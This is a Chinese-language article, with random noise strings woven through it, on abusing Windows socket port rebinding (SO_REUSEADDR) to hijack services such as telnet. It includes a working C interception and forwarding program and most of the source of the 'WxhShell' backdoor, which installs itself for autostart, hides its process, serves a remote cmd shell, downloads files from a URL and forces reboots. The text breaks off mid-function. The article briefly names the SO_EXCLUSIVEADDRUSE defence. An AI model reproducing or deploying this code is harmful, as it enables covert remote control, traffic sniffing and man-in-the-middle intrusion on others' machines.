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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'r ^.Ao5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r%WHYhD DU)q]'[u saddr.sin_family = AF_INET; m/jyc#
L:u %'=2Jy6h saddr.sin_addr.s_addr = htonl(INADDR_ANY); "KS"[i!3j 7'65+c[& bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gmn b evD=]iVD 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !syyOfu`} fAz4>_4 这意味着什么?意味着可以进行如下的攻击: NFtA2EMLu[ MK @rx6<9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jJNl{nyq 3TLym& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .qKfhHJ o8H\l\( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 98| v.d FGie*t 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 >R_m@$` $aB`A$'hK 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oM^vJ3 Q4*{+$A 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &/2+'wCp5 "L`BuAB 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {O).! 2L[!~h2 #include 2<h~:
L #include `QRXQ c #include auX(d -m #include -sdzA6dp DWORD WINAPI ClientThread(LPVOID lpParam); b<#zgf int main() z C$F@ { t9*e" QH WORD wVersionRequested; (3Xs DWORD ret; ]dl.~;3~~ WSADATA wsaData; "PWGtM:L8Y BOOL val; -P-8D6 SOCKADDR_IN saddr; 0u&x%c SOCKADDR_IN scaddr; RRYcg{g int err; ut]UU*g^$ SOCKET s; N!ay#V SOCKET sc; ,UC|[-J int caddsize; _Gt;= HANDLE mt; i `p1e5$ DWORD tid; 7lAJ
0 wVersionRequested = MAKEWORD( 2, 2 ); W"pHR sf err = WSAStartup( wVersionRequested, &wsaData );
W/u(9 if ( err != 0 ) { R
>SZE" printf("error!WSAStartup failed!\n"); T-GvPl9ZJw return -1; cTn(Tv9s } VAjl?\}6 saddr.sin_family = AF_INET; {q+gm1iC .@EzHe ^W //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :?= 1aiS JY"J} saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /.rj\, saddr.sin_port = htons(23); ,3eN& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }.U(Gxu$ { $bF+J8%D printf("error!socket failed!\n"); c+7I return -1; 7J`v# } ;;rx)|\<R val = TRUE; ^&y*=6C //SO_REUSEADDR选项就是可以实现端口重绑定的 bivo7_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GUM-|[~ { J#4pA{01w printf("error!setsockopt failed!\n"); 'rFLG+W return -1; [ +CFQf> } /X0<2&v //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lx0BKD?n //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <^Y#q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :SO4@JT{W -:Fr($^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }?Pa(0=U
{ O'^AbO=, ret=GetLastError(); s!yD%zO printf("error!bind failed!\n"); #K$0%0=M return -1; >Wx9a"H^( } `mYp?NjR_ listen(s,2); W> Pcj EI while(1) 4T"L#o1 { r8N)]HsZH caddsize = sizeof(scaddr); D'{o3Q,%K //接受连接请求 nygeR|:\ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Au/'|%2#( if(sc!=INVALID_SOCKET) \>EUa}%xn { P, F5Hf mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F.(e}EMyNh if(mt==NULL) n!~QC { J8@+)hn printf("Thread Creat Failed!\n"); `:m=rT_ break; Uvi@HB HJ } f* h nzj } =%>E8)Jb CloseHandle(mt); <&B]p } @n9iOf~< closesocket(s); ]d%Ou]609 WSACleanup(); ts@e
, return 0; W$l4@A } Z$m&F0g DWORD WINAPI ClientThread(LPVOID lpParam) ?vF8 y;Jh { (r'NB SOCKET ss = (SOCKET)lpParam; )PkGT~3I SOCKET sc; )[&j&AI unsigned char buf[4096]; Dk")/ ib SOCKADDR_IN saddr; -sle7 k long num; zH~g5xgh DWORD val; c$u#U~~ DWORD ret; 6"rS?>W/mO //如果是隐藏端口应用的话,可以在此处加一些判断 FcOrA3tt //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 IsFL"Vx saddr.sin_family = AF_INET; ww%4MHPp8 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QZO<'q`L saddr.sin_port = htons(23); +:c}LCI9< if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yd45y}uS;F { U}=H1f, printf("error!socket failed!\n"); 1.
Q"<[ M return -1; i
!SN"SY } 1OqVNp%K val = 100; f_hG2Sk if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $m+Pl[s { K
#JO# ret = GetLastError(); {cw+kY]m4- return -1; eR3MU]zF } {@-tRm& if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IWhe N { jt9@aN.mJN ret = GetLastError(); OQyZ' return -1; )^E6VD&6 } %6@m~;c0 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) REk^pZ3B { :O;uP_r9 printf("error!socket connect failed!\n"); ??P3gA closesocket(sc); (51;cj>J closesocket(ss); IUh)g1u41O return -1; RT9%E/m } j2n
4; m while(1) i.ivHV~- { !#WJ(zSq //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aprgThoD //如果是嗅探内容的话,可以再此处进行内容分析和记录 @XKVdtG //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3);Wgh6 num = recv(ss,buf,4096,0); Ftud6 if(num>0) 's I @es send(sc,buf,num,0); f_QZql else if(num==0) HNfd[#gV break; ~@D!E/hZx num = recv(sc,buf,4096,0); l~*d0E-$ if(num>0) Y3'dV) send(ss,buf,num,0); y#lg)nB else if(num==0) w/CD- break; 3+D4$Y" } |q_Hiap#a closesocket(ss); %B Rll closesocket(sc); 6b4]dvl_ return 0 ; qKuHd~M{ 1 } ;AarpUw' @=l.J+lh \3j4=K'nE ==========================================================
t;[?Q\ 0LUw 下边附上一个代码,,WXhSHELL -kzg(+sm 3HX-lg`0 ========================================================== hXn@vK6 9z?B@;lMc #include "stdafx.h" FzFP 0 FOX0 #include <stdio.h> gAy"W$F #include <string.h> DEKO]i #include <windows.h> t~]tw #include <winsock2.h> 3W?H^1t #include <winsvc.h> >vQKCc|93 #include <urlmon.h> B]cV|S| Y2y =
P #pragma comment (lib, "Ws2_32.lib") BUEV+SZ4 #pragma comment (lib, "urlmon.lib") I%ZSh]On M 0RVEhX #define MAX_USER 100 // 最大客户端连接数 B+=Xb;p8 #define BUF_SOCK 200 // sock buffer \YF'qWB #define KEY_BUFF 255 // 输入 buffer fu`|@S brt`oR #define REBOOT 0 // 重启 Cqw`K P #define SHUTDOWN 1 // 关机 J`A )WsKkb xgB-m[Xi #define DEF_PORT 5000 // 监听端口 'C1yqkIa` K6oQx)| #define REG_LEN 16 // 注册表键长度 A)o%\j #define SVC_LEN 80 // NT服务名长度 f<2<8xS G%fNGQwT // 从dll定义API Kdb:Q0B typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^g N?Io typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s!K9-qZl< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K9euNa typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zzyD'n7D !X/O1PM| // wxhshell配置信息 1?ST*b struct WSCFG { BQ77n2(@ int ws_port; // 监听端口 tumYZ)nW char ws_passstr[REG_LEN]; // 口令 i.>d#S int ws_autoins; // 安装标记, 1=yes 0=no 17;qJ_T) char ws_regname[REG_LEN]; // 注册表键名 EoHrXv char ws_svcname[REG_LEN]; // 服务名 'tzN.p1O char ws_svcdisp[SVC_LEN]; // 服务显示名 Q!}LtR$ char ws_svcdesc[SVC_LEN]; // 服务描述信息 l#%G~c8x char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *Y9' tHI int ws_downexe; // 下载执行标记, 1=yes 0=no MG0d&[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ^o6&|q char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5B+I\f& q#1CmKt4R }; U~[ tp1Z) wE09% // default Wxhshell configuration ?O#,|\v?] struct WSCFG wscfg={DEF_PORT, V']1j "xuhuanlingzhe", u-#J!Z<T8 1, -Mufo.Jz1o "Wxhshell", I)cA:Ip "Wxhshell", PsoW:t "WxhShell Service", ++M%PF [
{ "Wrsky Windows CmdShell Service", Z "g6z#L& "Please Input Your Password: ", bjGQ04da 1, 1
gx(L*y, " http://www.wrsky.com/wxhshell.exe", {'eF;!!Dy "Wxhshell.exe" q#!c6lG }; E,:E u< 5NAB^&{Z<X // 消息定义模块 Cr$8\{2OA7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c9N5c char *msg_ws_prompt="\n\r? for help\n\r#>"; WCZeY?_^c char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; sD`OHV: char *msg_ws_ext="\n\rExit."; UG<`m] char *msg_ws_end="\n\rQuit."; 5 iP{) char *msg_ws_boot="\n\rReboot..."; v?(9ZY] char *msg_ws_poff="\n\rShutdown..."; c ,RY
j char *msg_ws_down="\n\rSave to "; P0^7hSo cvl1X" char *msg_ws_err="\n\rErr!"; 9jTm g% char *msg_ws_ok="\n\rOK!"; 5!^DKyw: *f( e`3E char ExeFile[MAX_PATH]; }=JuC+#~n int nUser = 0; -axV;+"b HANDLE handles[MAX_USER]; ?513A>U int OsIsNt; Y]Y]"y$1 rpO>l SERVICE_STATUS serviceStatus; F
{T\UX SERVICE_STATUS_HANDLE hServiceStatusHandle; Gf1O7L1rX DFFB:< // 函数声明 B(|dT66K int Install(void); t+Rt*yjO int Uninstall(void); dsUY[X-<6 int DownloadFile(char *sURL, SOCKET wsh); /A~+32B int Boot(int flag); LS4|$X4H`! void HideProc(void); &26H int GetOsVer(void); I &I
q int Wxhshell(SOCKET wsl); AT]Ty void TalkWithClient(void *cs); JPfE`NZ int CmdShell(SOCKET sock); TZ+2S93c int StartFromService(void); h9L/.>CX int StartWxhshell(LPSTR lpCmdLine); >n^[-SWJCT sOLR *=F{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &24z`ZS[w6 VOID WINAPI NTServiceHandler( DWORD fdwControl ); @s/0 .7 hz_F^gF // 数据结构和表定义 f.y~ Sew SERVICE_TABLE_ENTRY DispatchTable[] = `T;Y%"X! { n32.W?9 {wscfg.ws_svcname, NTServiceMain}, *<nfA} {NULL, NULL} v\?J$Hdd }; !u=,b fyH =3?"s(9 // 自我安装 =c(3EI'w int Install(void) Kp_^ 2V? { 2DbM48\E char svExeFile[MAX_PATH]; +4%:q~C HKEY key; trC+Etc strcpy(svExeFile,ExeFile); y()Si\9v E)7ODRVbl // 如果是win9x系统,修改注册表设为自启动 PofHe if(!OsIsNt) { \9t6#8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \4e6\6 + RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nmrYB w> RegCloseKey(key); %[C-KQH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,"W.A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X}gnO83 RegCloseKey(key); 4C{3>BE return 0; !HP/`R } P?P))UB5 } Ho:X.Z9A^ } J6Q}a7I# else { DfQD!}= aY7.<p*a // 如果是NT以上系统,安装为系统服务 B=`"!?we SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H\Jpw if (schSCManager!=0) @0>3)) { I^z$0 SC_HANDLE schService = CreateService "gPAxt ( _ooSMp| schSCManager, MjHjL~Tg wscfg.ws_svcname, uJ! yM;{+ wscfg.ws_svcdisp, wzRIvm{ SERVICE_ALL_ACCESS, Q5s?/r SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9w! G SERVICE_AUTO_START, eL+L
{Ac SERVICE_ERROR_NORMAL, nE)|6
svExeFile, 0w_2E NULL, _~ipO1* NULL, U@$=0* NULL, H}$hk NULL, An%V>a-[ NULL ;|Ja|@82 ); zjrr*iw if (schService!=0) mxRe2<W { r2*'5jk_ CloseServiceHandle(schService); Pyx$$cj CloseServiceHandle(schSCManager); 42m}c1R strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /j1p^=ARV strcat(svExeFile,wscfg.ws_svcname); O<x53MN^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h8yv:}XU* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .ZxH#l _ RegCloseKey(key); nd]AvVS return 0; XTZI! } j8G>0f) } ?Ze3t5Ll CloseServiceHandle(schSCManager); ",ic"
~ } 2.K"+% } {mp;^/O`er jnoFNIW return 1; q$Ol"K@ } [i '\d} DvuL1MeKo // 自我卸载 Z0~}'K int Uninstall(void) @Yq! { ,K'}<dm|x HKEY key; Lu~e^Ul
GZN@MK*co if(!OsIsNt) { S %"7`xl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eXU;UO^ RegDeleteValue(key,wscfg.ws_regname); DT=! RegCloseKey(key); YJ5;a\QxN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~%Ws"1 RegDeleteValue(key,wscfg.ws_regname); Kup-O
u, RegCloseKey(key); >Q~"/-bN) return 0; !HXdUAKu } +M\*C# } ] 05Q4 } BX),U else { tc{23Rf% Mdh(Mp(w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _OF8D if (schSCManager!=0) (WW,]#^
{ "gCSbMq(Vq SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B(MO!GNg= if (schService!=0) |7zm!^t$ { ]sjOn?YA+ if(DeleteService(schService)!=0) { F|V co]"S1 CloseServiceHandle(schService);
YV 9*B CloseServiceHandle(schSCManager); qR_"aQ7s2 return 0; %;9eh' } ZUyM:$ CloseServiceHandle(schService); zYOPE 6E } |k'I?:' CloseServiceHandle(schSCManager); jkNZv. )p } WII_s|YSt% } $Mx.8FC + kmW!0hm;e return 1; lb1(1|# } \Mlj
7.u] U
gB // 从指定url下载文件 q<JI!n1O int DownloadFile(char *sURL, SOCKET wsh) q9Y0Lk { Smk]G))o{ HRESULT hr; )m[!HE`cZ char seps[]= "/"; PyHE>C% char *token; !*%3um
char *file; !9o8v0ZI char myURL[MAX_PATH]; )K2n!Fbd char myFILE[MAX_PATH]; NUL~zb RpLm'~N' strcpy(myURL,sURL); q@(N 38D token=strtok(myURL,seps); W,agPG\+ while(token!=NULL) j7-#">YL { 4r(rWlM file=token; t*Q12Q token=strtok(NULL,seps); fWm;cDM
H } wq]nz! y i@61XI GetCurrentDirectory(MAX_PATH,myFILE); dl{3fldb strcat(myFILE, "\\"); Mdwh-Cis/ strcat(myFILE, file); !s)2H/KM 8 send(wsh,myFILE,strlen(myFILE),0); $]81 s` send(wsh,"...",3,0); &8&WY1cU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NHc+QMbou( if(hr==S_OK) F"23>3 return 0; v!`M=0k else YgWnPp return 1; "Pys3=h "Ln\ZYB] } w-nkf
M~ ^ O` // 系统电源模块 9DtSYd/ int Boot(int flag) E$G"R= { Ar'5kPzY> HANDLE hToken; GV[[[fu TOKEN_PRIVILEGES tkp; rbtPG=t_R WJ9u3+ if(OsIsNt) { hrAI@.Bo OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \O/=g6w|t} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9) YG)A~< tkp.PrivilegeCount = 1; hG;u8|uT^i tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V
u!,tpa. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A`r&"i OKA if(flag==REBOOT) { Y2$%%@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3]VTQl{P return 0; t1~*q)!Mo } #-VKk else { w|5}V6WD if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \R#XSW, return 0; i([A8C_A } mA>Pr<aV: } Sdt
@"6 else { |n&6z if(flag==REBOOT) { -0\$JAyrx if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7I.[1V` return 0; \dc`}}Lc } Y|lMa?\E else { be@MQ}6> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uuC/F_='B return 0; {jq-dL } p' gv5\u[w } <n`|zQ "M*\,IH return 1; '/p5tw8 } 0s4j> ?D~uR2+Z // win9x进程隐藏模块 PHOW,8)dZh void HideProc(void) WMC6dD_6e { 4v?S`w:6 !kz\
{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k4l72 'P if ( hKernel != NULL ) `150$*K&B { JL$RBr pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O,;SA ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M>^IQ FreeLibrary(hKernel); ;}PL/L$L6; } N,1wfOE TUUBC% return; 3whyIXs } FPMW"~v fGfv{4R // 获取操作系统版本 ~>EVI=? int GetOsVer(void) >]`x~cE.5 { OL=b hZ OSVERSIONINFO winfo; 9!OpW:bR| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oc?VAF GetVersionEx(&winfo); &KB{,:)? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U9q*zP_jV return 1; c*W$wr else 5u8Sxfm", return 0; }qg!Um0 } Tld{b > w'6ZDA*X // 客户端句柄模块 n#R!`*[ int Wxhshell(SOCKET wsl) Ea
!j-Lb o { _96&P7 SOCKET wsh; JSL 3.J struct sockaddr_in client; &0"`\~lA DWORD myID; +(<f(]bG TvP# /qGgG while(nUser<MAX_USER) )2A4vU-IR. { _Dv^~e1c int nSize=sizeof(client); t&oNJq{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BCj&z{5"7e if(wsh==INVALID_SOCKET) return 1; ?b0\[ ,)RdXgCs handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B+<k,ad if(handles[nUser]==0) Q9' p2@Z closesocket(wsh); AjS5 else oMVwIdf nUser++; j{PX ~/ } :8ZxO wwv WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y `{U45 q}!4b'z^ return 0; c' 6H@m#= } 7-dwr?j7 BAhC-;B#R // 关闭 socket M Q6Y^,B void CloseIt(SOCKET wsh) ,y >Na{@Y { @K/Ia!Lw closesocket(wsh); YJy*OS_& nUser--; ![ QQF| ExitThread(0); {
nV zN( } >&VL2xLy %L/=heBBd // 客户端请求句柄 (pmo[2kg void TalkWithClient(void *cs) q2Kn3{ { jz)H?UuDY {G}HZv%S U SOCKET wsh=(SOCKET)cs; ,uv$oP- char pwd[SVC_LEN]; Yx"z&J9p char cmd[KEY_BUFF]; --9mTqx char chr[1]; =%3nKSg int i,j; _=8+_OEk T)u w2 while (nUser < MAX_USER) { ]ok>PH]
W6~=?C if(wscfg.ws_passstr) { c;^ J!e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^Toi_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "|.(yN //ZeroMemory(pwd,KEY_BUFF); Bag#An1 i=0; C gx?K]>y while(i<SVC_LEN) { - -G1H k mjm6 // 设置超时 _a&|,ajy> fd_set FdRead; .H"hRYPC? struct timeval TimeOut; \ p$0 FD_ZERO(&FdRead); j1ZFsTFMWp FD_SET(wsh,&FdRead); 9)">()8 TimeOut.tv_sec=8; T?Y\~.+99 TimeOut.tv_usec=0; _#C}hwOR>X int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xo`1#6xsE if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AJT0)FCpR v\ Ljm,+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |=LkV"_v pwd =chr[0]; FT~^$)8= if(chr[0]==0xd || chr[0]==0xa) { 4i,SiFKB pwd=0; Bu1z$#AC break; k3 l } f[IchCwX i++; sD8S2 } ]lUu%<-; o(P:f)B // 如果是非法用户,关闭 socket RY{tX` if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R~~rqvLm } o!~bR
>| ?T| send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yr>bL"!CA send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;X(n3F x1wxB
1)2 while(1) { I*}#nY0+ C t)MvZ ZeroMemory(cmd,KEY_BUFF); 0Mg8{ F:S,{&jB // 自动支持客户端 telnet标准 W[Bu&?h$ j=0; 7g)3\C while(j<KEY_BUFF) { @@wx~|% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CeTr%j cmd[j]=chr[0]; %7msAvbk if(chr[0]==0xa || chr[0]==0xd) { >|)0Amt cmd[j]=0; ImY.HB^& break; >x4[7YAU{ } d8HB2c5y0i j++; }&DB5M } m]\zt SbZt\a 8 // 下载文件 u4@e=vWI if(strstr(cmd,"http://")) { "!tw
,Gp send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wq(l :W' if(DownloadFile(cmd,wsh)) Net)l@IB] send(wsh,msg_ws_err,strlen(msg_ws_err),0); W(h8!} else N}fUBX4k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N-`;\ } hXm}d\ else { ,dx)rZ* JtpY][}"~3 switch(cmd[0]) { L\NZDkd S |>$0P4W( // 帮助 7E`(8i case '?': { 5L}>+js2 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5lnSa+_/f break; nud=uJ"( } iIaT1i4t. // 安装 9T2A)a]0 case 'i': { zpqGh if(Install()) *W12Rb2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]M;6o@hq else q9Sz7_K send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Zg @D(pF break; Reu{
} b$O_L4CP // 卸载 9K':Fn2, case 'r': { lt6;*z[ if(Uninstall()) UZP6x2:= send(wsh,msg_ws_err,strlen(msg_ws_err),0); =nx:GT3&[ else -'[(Uzj send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wi[m`# break; -I-Uh{)j } drKjLo[y // 显示 wxhshell 所在路径 MJ,ZXJXs case 'p': { xs!g{~V{ char svExeFile[MAX_PATH]; ^}Qj} strcpy(svExeFile,"\n\r"); +xfW`[.{ strcat(svExeFile,ExeFile); ~59`S#ax/l send(wsh,svExeFile,strlen(svExeFile),0); M+;P?|a break; +}QBzGW` } @GQ8q]N:< // 重启 VtO;UN case 'b': { dAr)%RZ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g'ZMV6b?K if(Boot(REBOOT)) UIOEkQ\Wl send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z.':&7Y else { ggI=I<7M closesocket(wsh); b/B`&CIA0" ExitThread(0); Y^2Qxo3"3 } u:$x6/t break; j-YJ." } a4(?]ND~6 // 关机 ]}[Yf case 'd': { q|o|/ O-{ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y/,$Y]%g if(Boot(SHUTDOWN)) b"M`@';+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); eh:}X}c=J] else { *Z`XG_ s5 closesocket(wsh); eKVALUw ExitThread(0); w,Zx5bBg% } 0<@KDlF break; jD/7/G* } XDkS
^9 // 获取shell M6]0Y@@> case 's': { 6W;?8Z_1 CmdShell(wsh); bug Fl> closesocket(wsh); %,,`N I{ ExitThread(0); ;wXY3|@ break; 3XwU6M$5g } ^'&iYV // 退出 oY%"2PW1B case 'x': { a1G9wC:e send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *i?rJH CloseIt(wsh); |vfujzRZ break; +z|UpI } ~J1;tZS // 离开 r|^lt7\ case 'q': { 8nIMZV send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^+.t-3|U closesocket(wsh); 8Y\OCwO WSACleanup(); C NfJ:e2 exit(1); [Iw>|q<e break; wKk
3)@il } hu P ^2*c } &^&$!Xmu9 } Y . dXiE.Si // 提示信息 1xO!w+J# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )d}H>Qx= } PNbcy!\U } "[*S?QO(L /WgPXE B return; =Y&9
qt } ?aFr8i:)M WVS$O99Y // shell模块句柄 LBmM{Gu int CmdShell(SOCKET sock) cX%: { (@)2PO/ STARTUPINFO si; q]"2hLq ZeroMemory(&si,sizeof(si)); D[89*@v si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZT) !8 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Cf0|Z PROCESS_INFORMATION ProcessInfo; *$i; o3 char cmdline[]="cmd"; HKTeqH_: CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [x!i*
rW3 return 0; (;0$i?3\ } .4Qb5I2# @s%X // 自身启动模式 i}PK$sa#c int StartFromService(void) ?}'N_n ys { J?UA:u typedef struct [)#u<lZ<~ { /Jxq
3D)v DWORD ExitStatus; m$fQ `XzU DWORD PebBaseAddress; h@*lWi2K7 DWORD AffinityMask; FZe:co8Mu DWORD BasePriority; *.,"N} ULONG UniqueProcessId; O87"[c`> ULONG InheritedFromUniqueProcessId; [D3+cDph } PROCESS_BASIC_INFORMATION; bz{^ h' j)jCu ;` PROCNTQSIP NtQueryInformationProcess; <nDNiM# +I|Rk& static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }#yU'#|d static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C=N!z ^Xs%.`Gv/ HANDLE hProcess; "^;#f+0 PROCESS_BASIC_INFORMATION pbi; HLjvKE=W $!!R:Wn/R HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \U/v;Ijf if(NULL == hInst ) return 0; fL!V$]HNt ,~(|p` g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QVIcb;&:} g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lij B#1<8* NtQueryInformationProcess = 